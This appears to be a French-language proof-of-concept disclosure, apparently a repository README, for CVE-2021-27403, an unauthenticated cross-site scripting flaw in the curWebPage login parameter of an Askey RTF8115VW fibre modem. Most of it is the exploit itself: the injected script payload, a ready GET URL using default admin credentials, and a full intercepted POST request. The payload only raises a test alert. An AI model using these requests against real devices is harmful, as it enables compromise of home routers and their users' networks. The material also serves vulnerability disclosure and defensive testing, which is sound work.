bokanrb/cve-2021-27403XSS-Askey
Cross-Site Scripting non authentifié - Modem fibre Internet Askey
Vendeur : Askey
Version du logiciel : BR_SV_g11.11_RTF_TEF001_V6.54_V014
Modèle : RTF8115VW
Paramètre vulnérable : curWebPage
Charge utile : ";alert('xss')//
Non testé sur d'autres modèles/versions.
Via une requête GET
Lors de la demande de connexion, nous pouvons envoyer une requête GET :
http://x.x.x.x/cgi-bin/te_acceso_router.cgi?curWebPage=/settings-internet.asp";alert('xss')//&loginUsername=admin&loginPassword=admin
Les paramètres Username et Password n'ont pas besoin d'être valides.
Via une requête POST
1) Configurez votre proxy (Burp / ZAP / autre) pour intercepter la requête de connexion
2) Saisissez la charge utile après la page .asp utilisée par le paramètre curWebPage
3) Transmettez la requête
La requête finale
POST /cgi-bin/te_acceso_router.cgi HTTP/1.1
Host: x.x.x.x
Origin: http://x.x.x.x
Cookie: _httpdSessionId_=ece9eb5b733f7cbc8198ce9b6ab995c2
Upgrade-Insecure-Requests: 1
Referer: http://x.x.x.x/login.asp
Content-Type: application/x-www-form-urlencoded
Accept: */*
Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36
Connection: close
Cache-Control: max-age=0
Accept-Encoding: gzip, deflate
Content-Length: 35
curWebPage=%2Fsettings-firewall.asp+payload
<!---curWebPage=%2Fsettings-firewall.asp";alert('xss')//--->